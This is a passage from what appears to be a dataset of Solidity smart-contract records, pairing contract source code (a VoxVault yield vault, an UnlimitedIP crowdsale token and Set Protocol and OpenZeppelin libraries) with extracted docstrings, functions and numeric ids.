return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract VoxVault is ERC20 { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; IERC20 public vox; uint256 public min = 9500; uint256 public constant max = 10000; uint256 public burnFee = 5000; uint256 public constant burnFeeMax = 7500; uint256 public constant burnFeeMin = 2500; uint256 public constant burnFeeBase = 10000; bool public isActive = true; address public governance; address public treasury; address public timelock; address public strategy; address public burn = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) public depositBlocks; mapping(address => uint256) public deposits; mapping(address => uint256) public tiers; uint256[] public multiplierCosts; uint256 internal constant tierBase = 100; uint256 public totalDeposited = 0; // EVENTS event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event SharesIssued(address indexed user, uint256 amount); event SharesPurged(address indexed user, uint256 amount); event ClaimRewards(address indexed user, uint256 amount); event MultiplierPurchased(address indexed user, uint256 tiers, uint256 totalCost); constructor(address _token, address _vox, address _governance, address _treasury, address _timelock) public ERC20( string(abi.encodePacked("voxie ", ERC20(_token).name())), string(abi.encodePacked("v", ERC20(_token).symbol())) ) { _setupDecimals(ERC20(_token).decimals()); token = IERC20(_token); vox = IERC20(_vox); governance = _governance; treasury = _treasury; timelock = _timelock; } // Check the total underyling token balance to see if we should earn(); function balance() public view returns (uint256) { return token.balanceOf(address(this)).add( IStrategy(strategy).balanceOf() ); } // Sets whether deposits are accepted by the vault function setActive(bool _isActive) public { require(msg.sender == governance, "!governance"); isActive = _isActive; } // Set the minimum percentage of tokens that can be deposited to earn function setMin(uint256 _min) external { require(msg.sender == governance, "!governance"); require(_min <= max, "numerator cannot be greater than denominator"); min = _min; } // Set a new governance address, can only be triggered by the old address function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } // Set the timelock address, can only be triggered by the old address function setTimelock(address _timelock) public { require(msg.sender == timelock, "!timelock"); timelock = _timelock; } // Set a new strategy address, can only be triggered by the timelock function setStrategy(address _strategy) public { require(msg.sender == timelock, "!timelock"); require(IStrategy(_strategy).underlying() == address(token), 'strategy does not support this underlying'); strategy = _strategy; } // Set the burn fee for multipliers function setBurnFee(uint256 _burnFee) public { require(msg.sender == timelock, "!timelock"); require(_burnFee <= burnFeeMax, 'burn fee can not be more than 75,0 %'); require(_burnFee >= burnFeeMin, 'burn fee can not be less than 25,0 %'); burnFee = _burnFee; } // Add a new multplier with the selected cost function addMultiplier(uint256 _cost) public returns (uint256 index) { require(msg.sender == timelock, "!timelock"); multiplierCosts.push(_cost); index = multiplierCosts.length - 1; } // Set new cost for multiplier, can only be triggered by the timelock function setMultiplier(uint256 index, uint256 _cost) public { require(msg.sender == timelock, "!timelock"); multiplierCosts[index] = _cost; } // Custom logic in here for how much of the underlying asset can be deposited // Sets the minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint256) { return token.balanceOf(address(this)).mul(min).div(max); } // Deposits collected underlying assets into the strategy and starts earning function earn() public { require(isActive, 'vault is not active'); require(strategy != address(0), 'strategy is not set'); uint256 _bal = available(); token.safeTransfer(strategy, _bal); IStrategy(strategy).deposit(); } // Deposits underlying assets from the user into the vault contract function deposit(uint256 _amount) public { require(isActive, 'vault is not active'); require(strategy != address(0), 'strategy is not yet set'); uint256 _pool = balance(); uint256 _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint256 _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens deposits[msg.sender] = deposits[msg.sender].add(_amount); totalDeposited = totalDeposited.add(_amount); uint256 shares = 0; if (totalSupply() == 0) { if (tiers[msg.sender] > 0) { uint256 userMultiplier = tiers[msg.sender].add(tierBase); shares = _amount.mul(userMultiplier).div(tierBase); } else { shares = _amount; } } else { if (tiers[msg.sender] > 0) { uint256 userMultiplier = tiers[msg.sender].add(tierBase); shares = (_amount.mul(userMultiplier).div(tierBase).mul(totalSupply())).div(_pool); } else { shares = (_amount.mul(totalSupply())).div(_pool); } } _mint(msg.sender, shares); depositBlocks[msg.sender] = block.number; emit Deposit(msg.sender, _amount); emit SharesIssued(msg.sender, shares); } // Deposits all the funds of the user function depositAll() external { deposit(token.balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint256 _amount) public { require(block.number > depositBlocks[msg.sender], 'withdrawals can not happen in the same block as deposits'); require(_amount > 0, 'please withdraw a positive amount'); require(_amount <= deposits[msg.sender], 'you can only withdraw up to the amount you have deposited'); // Calculate amount of rewards the user has gained uint256 rewards = balance().sub(totalDeposited); uint256 shares = balanceOf(msg.sender); uint256 userRewards = 0; if (rewards > 0) { userRewards = (rewards.mul(shares)).div(totalSupply()); } // Calculate percentage of principal being withdrawn uint256 p = (_amount.mul(1e18).div(deposits[msg.sender])); // Calculate amount of shares to be burned uint256 r = shares.mul(p).div(1e18); // Burn the proportion of shares that are being withdrawn _burn(msg.sender, r); // Receive the correct proportion of the rewards if (userRewards > 0) { userRewards = userRewards.mul(p).div(1e18); } // Calculate the withdrawal amount as _amount + user rewards uint256 withdrawAmount = _amount.add(userRewards); // Check balance uint256 b = token.balanceOf(address(this)); if (b < withdrawAmount) { uint256 _withdraw = withdrawAmount.sub(b); IStrategy(strategy).withdraw(_withdraw); uint256 _after = token.balanceOf(address(this)); uint256 _diff = _after.sub(b); if (_diff < _withdraw) { withdrawAmount = b.add(_diff); } } // Remove the withdrawn principal from total and user deposits deposits[msg.sender] = deposits[msg.sender].sub(_amount); totalDeposited = totalDeposited.sub(_amount); token.safeTransfer(msg.sender, withdrawAmount); emit Withdraw(msg.sender, _amount); emit SharesPurged(msg.sender, r); emit ClaimRewards(msg.sender, userRewards); } // Withdraws all underlying assets belonging to the user function withdrawAll() external { withdraw(deposits[msg.sender]); } function pendingRewards(address account) external view returns (uint256) { // Calculate amount of rewards the user has gained uint256 rewards = balance().sub(totalDeposited); uint256 shares = balanceOf(account); if (rewards > 0) { return (rewards.mul(shares)).div(totalSupply()); } } // Purchase a multiplier tier for the user function purchaseMultiplier(uint256 _tiers) external returns (uint256 newTier) { require(_tiers > 0, 'you need to purchase at least one multiplier'); uint256 multipliersLength = multiplierCosts.length; require(tiers[msg.sender].add(_tiers) <= multipliersLength, 'you can not purchase so many tiers'); uint256 totalCost = 0; uint256 lastMultiplier = tiers[msg.sender].add(_tiers); for (uint256 i = tiers[msg.sender]; i < multipliersLength; i++) { if (i == lastMultiplier) { break; } totalCost = totalCost.add(multiplierCosts[i]); } require(IERC20(vox).balanceOf(msg.sender) >= totalCost, 'you do not have enough VOX to purchase the multiplier tiers'); vox.safeTransferFrom(msg.sender, address(this), totalCost); newTier = tiers[msg.sender].add(_tiers); tiers[msg.sender] = newTier; emit MultiplierPurchased(msg.sender, _tiers, totalCost); } // Distribute the VOX tokens collected by the multiplier purchases function distribute() external { require(msg.sender == governance, "!governance"); uint256 b = vox.balanceOf(address(this)); if (b > 0) { uint256 toBurn = b.mul(burnFee).div(burnFeeBase); uint256 leftover = b.sub(toBurn); vox.safeTransfer(burn, toBurn); vox.safeTransfer(treasury, leftover); } } // Used to salvage any non-underlying assets to the treasury function salvage(address reserve, uint256 amount) external { require(msg.sender == governance, "!governance"); require(reserve != address(token), "token"); require(reserve != address(vox), "vox"); IERC20(reserve).safeTransfer(treasury, amount); } // Returns the current multiplier tier for the user function getMultiplier() external view returns (uint256) { return tiers[msg.sender]; } // Returns the next multiplier tier cost for the user function getNextMultiplierCost() external view returns (uint256) { require(tiers[msg.sender] < multiplierCosts.length, 'all tiers have already been purchased'); return multiplierCosts[tiers[msg.sender]]; } // Returns the total number of multipliers function getCountOfMultipliers() external view returns (uint256) { return multiplierCosts.length; } // Returns the current ratio between earned assets and deposited assets function getRatio() public view returns (uint256) { return (balance().sub(totalDeposited)).mul(1e18).div(totalSupply()); } }
Set a new governance address, can only be triggered by the old address
function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; }
442,402
./full_match/11155111/0x2ed9270882C72e27AF61a22325003C333903ADcF/sources/solidity/contracts/token/CGLD.sol
return price of CGLD in wei/
function getPriceCgldWei() public view returns (uint256) { uint256 cgld = uint256(getLatestCgldUSDPrice()); return (cgldAmount * 10 ** 26 / cgld); }
3,794,642
// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.10; contract Token { /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract IMigrationContract { function migrate(address addr, uint256 uip) returns (bool success); } contract SafeMath { function safeAdd(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal returns(uint256) { uint256 z = x * y; assert((x == 0)||(z/x == y)); return z; } } /* ERC 20 token */ contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract UnlimitedIPToken is StandardToken, SafeMath { // metadata string public constant name = "UnlimitedIP Token"; string public constant symbol = "UIP"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // deposit address for ETH for UnlimitedIP Team. address public newContractAddr; // the new contract for UnlimitedIP token updates; // crowdsale parameters bool public isFunding; // switched to true in operational state uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // current supply tokens for sell uint256 public tokenRaised = 0; // the number of total sold token uint256 public tokenMigrated = 0; // the number of total transferted token uint256 public tokenExchangeRate = 1000; // 1000 UIP tokens per 1 ETH // events event IssueToken(address indexed _to, uint256 _value); // issue token for public sale; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); event Burn(address indexed from, uint256 _value); // format decimals. function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** decimals; } // constructor function UnlimitedIPToken() { ethFundDeposit = 0xBbf91Cf4cf582600BEcBb63d5BdB8D969F21779C; isFunding = false; //controls pre through crowdsale state fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(0); totalSupply = formatDecimals(3000000000); require(currentSupply <= totalSupply); balances[ethFundDeposit] = totalSupply-currentSupply; } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// @dev set the token&#39;s tokenExchangeRate, function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { require(_tokenExchangeRate > 0); require(_tokenExchangeRate != tokenExchangeRate); tokenExchangeRate = _tokenExchangeRate; } /// @dev increase the token&#39;s supply function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); require (value + currentSupply <= totalSupply); require (balances[msg.sender] >= value && value>0); balances[msg.sender] -= value; currentSupply = safeAdd(currentSupply, value); IncreaseSupply(value); } /// @dev decrease the token&#39;s supply function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); require (value + tokenRaised <= currentSupply); currentSupply = safeSubtract(currentSupply, value); balances[msg.sender] += value; DecreaseSupply(value); } /// @dev turn on the funding state function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { require(!isFunding); require(_fundingStartBlock < _fundingStopBlock); require(block.number < _fundingStartBlock) ; fundingStartBlock = _fundingStartBlock; fundingStopBlock = _fundingStopBlock; isFunding = true; } /// @dev turn off the funding state function stopFunding() isOwner external { require(isFunding); isFunding = false; } /// @dev set a new contract for recieve the tokens (for update contract) function setMigrateContract(address _newContractAddr) isOwner external { require(_newContractAddr != newContractAddr); newContractAddr = _newContractAddr; } /// @dev set a new owner. function changeOwner(address _newFundDeposit) isOwner() external { require(_newFundDeposit != address(0x0)); ethFundDeposit = _newFundDeposit; } /// sends the tokens to new contract function migrate() external { require(!isFunding); require(newContractAddr != address(0x0)); uint256 tokens = balances[msg.sender]; require (tokens > 0); balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); require(newContract.migrate(msg.sender, tokens)); Migrate(msg.sender, tokens); // log it } /// @dev withdraw ETH from contract to UnlimitedIP team address function transferETH() isOwner external { require(this.balance > 0); require(ethFundDeposit.send(this.balance)); } function burn(uint256 _value) isOwner returns (bool success){ uint256 value = formatDecimals(_value); require(balances[msg.sender] >= value && value>0); balances[msg.sender] -= value; totalSupply -= value; Burn(msg.sender,value); return true; } /// buys the tokens function () payable { require (isFunding); require(msg.value > 0); require(block.number >= fundingStartBlock); require(block.number <= fundingStopBlock); uint256 tokens = safeMult(msg.value, tokenExchangeRate); require(tokens + tokenRaised <= currentSupply); tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; IssueToken(msg.sender, tokens); // logs token issued } }
set a new owner.
function changeOwner(address _newFundDeposit) isOwner() external { require(_newFundDeposit != address(0x0)); ethFundDeposit = _newFundDeposit; }
10,716,033
// Dependency file: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // pragma solidity ^0.6.0; // import "./IERC20.sol"; // import "../../math/SafeMath.sol"; // import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Dependency file: contracts/interfaces/ISetValuer.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { ISetToken } from "../interfaces/ISetToken.sol"; interface ISetValuer { function calculateSetTokenValuation(ISetToken _setToken, address _quoteAsset) external view returns (uint256); } // Dependency file: contracts/interfaces/IPriceOracle.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; /** * @title IPriceOracle * @author Set Protocol * * Interface for interacting with PriceOracle */ interface IPriceOracle { /* ============ Functions ============ */ function getPrice(address _assetOne, address _assetTwo) external view returns (uint256); function masterQuoteAsset() external view returns (address); } // Dependency file: contracts/interfaces/IIntegrationRegistry.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; interface IIntegrationRegistry { function addIntegration(address _module, string memory _id, address _wrapper) external; function getIntegrationAdapter(address _module, string memory _id) external view returns(address); function getIntegrationAdapterWithHash(address _module, bytes32 _id) external view returns(address); function isValidIntegration(address _module, string memory _id) external view returns(bool); } // Dependency file: contracts/interfaces/IModule.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; /** * @title IModule * @author Set Protocol * * Interface for interacting with Modules. */ interface IModule { /** * Called by a SetToken to notify that this module was removed from the Set token. Any logic can be included * in case checks need to be made or state needs to be cleared. */ function removeModule() external; } // Dependency file: contracts/lib/ExplicitERC20.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; // import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title ExplicitERC20 * @author Set Protocol * * Utility functions for ERC20 transfers that require the explicit amount to be transferred. */ library ExplicitERC20 { using SafeMath for uint256; /** * When given allowance, transfers a token from the "_from" to the "_to" of quantity "_quantity". * Ensures that the recipient has received the correct quantity (ie no fees taken on transfer) * * @param _token ERC20 token to approve * @param _from The account to transfer tokens from * @param _to The account to transfer tokens to * @param _quantity The quantity to transfer */ function transferFrom( IERC20 _token, address _from, address _to, uint256 _quantity ) internal { // Call specified ERC20 contract to transfer tokens (via proxy). if (_quantity > 0) { uint256 existingBalance = _token.balanceOf(_to); SafeERC20.safeTransferFrom( _token, _from, _to, _quantity ); uint256 newBalance = _token.balanceOf(_to); // Verify transfer quantity is reflected in balance require( newBalance == existingBalance.add(_quantity), "Invalid post transfer balance" ); } } } // Dependency file: @openzeppelin/contracts/utils/Address.sol // pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [// importANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * // importANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Dependency file: @openzeppelin/contracts/GSN/Context.sol // pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Dependency file: contracts/protocol/lib/ResourceIdentifier.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { IController } from "../../interfaces/IController.sol"; // import { IIntegrationRegistry } from "../../interfaces/IIntegrationRegistry.sol"; // import { IPriceOracle } from "../../interfaces/IPriceOracle.sol"; // import { ISetValuer } from "../../interfaces/ISetValuer.sol"; /** * @title ResourceIdentifier * @author Set Protocol * * A collection of utility functions to fetch information related to Resource contracts in the system */ library ResourceIdentifier { // IntegrationRegistry will always be resource ID 0 in the system uint256 constant internal INTEGRATION_REGISTRY_RESOURCE_ID = 0; // PriceOracle will always be resource ID 1 in the system uint256 constant internal PRICE_ORACLE_RESOURCE_ID = 1; // SetValuer resource will always be resource ID 2 in the system uint256 constant internal SET_VALUER_RESOURCE_ID = 2; /* ============ Internal ============ */ /** * Gets the instance of integration registry stored on Controller. Note: IntegrationRegistry is stored as index 0 on * the Controller */ function getIntegrationRegistry(IController _controller) internal view returns (IIntegrationRegistry) { return IIntegrationRegistry(_controller.resourceId(INTEGRATION_REGISTRY_RESOURCE_ID)); } /** * Gets instance of price oracle on Controller. Note: PriceOracle is stored as index 1 on the Controller */ function getPriceOracle(IController _controller) internal view returns (IPriceOracle) { return IPriceOracle(_controller.resourceId(PRICE_ORACLE_RESOURCE_ID)); } /** * Gets the instance of Set valuer on Controller. Note: SetValuer is stored as index 2 on the Controller */ function getSetValuer(IController _controller) internal view returns (ISetValuer) { return ISetValuer(_controller.resourceId(SET_VALUER_RESOURCE_ID)); } } // Dependency file: contracts/lib/PreciseUnitMath.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // pragma experimental ABIEncoderV2; // import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; // import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; /** * @title PreciseUnitMath * @author Set Protocol * * Arithmetic for fixed-point numbers with 18 decimals of precision. Some functions taken from * dYdX's BaseMath library. */ library PreciseUnitMath { using SafeMath for uint256; using SignedSafeMath for int256; // The number One in precise units. uint256 constant internal PRECISE_UNIT = 10 ** 18; int256 constant internal PRECISE_UNIT_INT = 10 ** 18; // Max unsigned integer value uint256 constant internal MAX_UINT_256 = type(uint256).max; // Max and min signed integer value int256 constant internal MAX_INT_256 = type(int256).max; int256 constant internal MIN_INT_256 = type(int256).min; /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnit() internal pure returns (uint256) { return PRECISE_UNIT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function preciseUnitInt() internal pure returns (int256) { return PRECISE_UNIT_INT; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxUint256() internal pure returns (uint256) { return MAX_UINT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function maxInt256() internal pure returns (int256) { return MAX_INT_256; } /** * @dev Getter function since constants can't be read directly from libraries. */ function minInt256() internal pure returns (int256) { return MIN_INT_256; } /** * @dev Multiplies value a by value b (result is rounded down). It's assumed that the value b is 